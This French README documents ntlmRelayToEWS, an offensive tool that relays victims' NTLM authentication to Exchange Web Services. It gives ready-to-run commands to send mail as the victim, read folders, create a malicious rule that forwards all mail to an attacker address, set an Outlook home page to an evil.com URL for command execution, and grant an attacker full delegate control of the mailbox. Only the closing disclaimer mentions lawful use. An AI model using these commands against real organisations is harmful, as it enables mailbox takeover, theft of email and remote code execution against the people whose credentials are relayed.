
Attaque par relais NTLM vers Exchange Web Services
Auteur: Arno0x0x - @Arno0x0x
ntlmRelayToEWS est un outil permettant de réaliser des attaques par relais NTLM sur les services Web Exchange (EWS). Il lance un SMBListener sur le port 445 et un HTTPListener sur le port 80, en attente d'une connexion entrante de la victime. Une fois que la victime se connecte à l'un des écouteurs, une négociation NTLM a lieu et est relayée vers le serveur EWS cible.
Évidemment, cet outil n'implémente PAS l'intégralité de l'API EWS, donc seuls quelques services sont implémentés, pouvant être utiles dans certains scénarios d'attaque. Je pourrais en ajouter davantage à l'avenir. Consultez la section « usage » pour avoir une idée des appels EWS implémentés.
Version d'Exchange :
Je n'ai testé cet outil que contre un Exchange Server 2010 SP2 (ce qui est assez vieux, il faut l'avouer), donc tous les modèles de requêtes SOAP EWS, ainsi que l'analyse des réponses EWS, n'ont été testés que pour cette version d'Exchange.
Bien que je ne l'aie pas testé moi-même, certains ont rapporté que cet outil fonctionne aussi contre un serveur Exchange 2016, sans modifications (c'est-à-dire sans changer les modèles de requêtes SOAP).
Si ces requêtes SOAP ne fonctionnaient pas sur une autre version d'Exchange, il est assez facile de créer les modèles de requêtes SOAP correspondant à une version plus récente en utilisant l'API managée EWS de Microsoft en mode trace et en capturant les requêtes SOAP appropriées (c'est ainsi que j'ai fait !).
Client SOAP EWS :
J'aurais adoré utiliser un client SOAP pour obtenir une interface appropriée permettant de créer automatiquement toutes les requêtes SOAP basées sur le WSDL d'Exchange. J'ai essayé d'utiliser 'zeep' mais je me suis cogné la tête contre le mur pour le faire fonctionner avec le WSDL d'Exchange, car cela nécessite de télécharger des espaces de noms externes et donc une connexion Internet. De plus, avec 'zeep', l'utilisation d'une session de transport personnalisée nécessite une Requests.session qui n'est pas le type de session HTTP(s) dont nous disposons par défaut avec HTTPClientRelay : cela aurait nécessité soit de refactoriser HTTPClientRelay pour utiliser 'Requests' (/me fainéant), soit simplement de faire en sorte que zeep crée les messages avec zeep.client.create_message() puis de les envoyer avec la session relayée que nous avons déjà. Ou bien est-ce parce que je suis un développeur nul ? bon, tant pis...
ntlmRelayToEWS nécessite une installation propre et correcte d'Impacket. Suivez donc leurs instructions pour obtenir une version fonctionnelle d'Impacket.
ntlmRelayToEWS implémente les attaques suivantes, toutes effectuées au nom de l'utilisateur relayé (victime).
Consultez l'aide pour obtenir des informations supplémentaires : ./ntlmRelayToEWS -h. Obtenez plus d'informations de débogage en utilisant le drapeau --verbose ou -v.
sendMail
Envoie un e-mail formaté en HTML à une liste de destinataires :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Sujet -m sampleMsg.html
getFolder
Récupère tous les éléments d'un dossier prédéfini (boîte de réception, éléments envoyés, calendrier, tâches) :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
Crée une règle de transfert malveillante qui transmet tous les messages entrants de la victime vers une autre adresse e-mail :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
Définit une page d'accueil de dossier (généralement pour le dossier Boîte de réception) en spécifiant une URL. Cette technique, découverte par SensePost/Etienne Stalmans, permet une exécution arbitraire de commandes dans le programme Outlook de la victime en forgeant une page HTML spécifique : Outlook Home Page – Another Ruler Vector :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
Définit une adresse de délégation sur la boîte aux lettres principale de la victime. En d'autres termes, la victime délègue le contrôle de sa boîte aux lettres à quelqu'un d'autre. Une fois fait, cela signifie que l'adresse déléguée a un contrôle total sur la boîte aux lettres de la victime, simplement en l'ouvrant comme une boîte aux lettres supplémentaire dans Outlook :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
Pour que la victime envoie ses identifiants à ntlmRelayToEWS, vous pouvez utiliser l'une des méthodes bien connues suivantes :
Invoke-SendEmail.ps1 pour y parvenir.Basé sur Impacket et ntlmrelayx par Alberto Solino @agsolino.
Cet outil est destiné à être utilisé uniquement de manière légale et légitime :
Pour citer les auteurs d'Empire : Il n'y a aucun moyen de construire des outils offensifs utiles pour l'industrie légitime de la sécurité de l'information tout en empêchant simultanément les acteurs malveillants d'en abuser.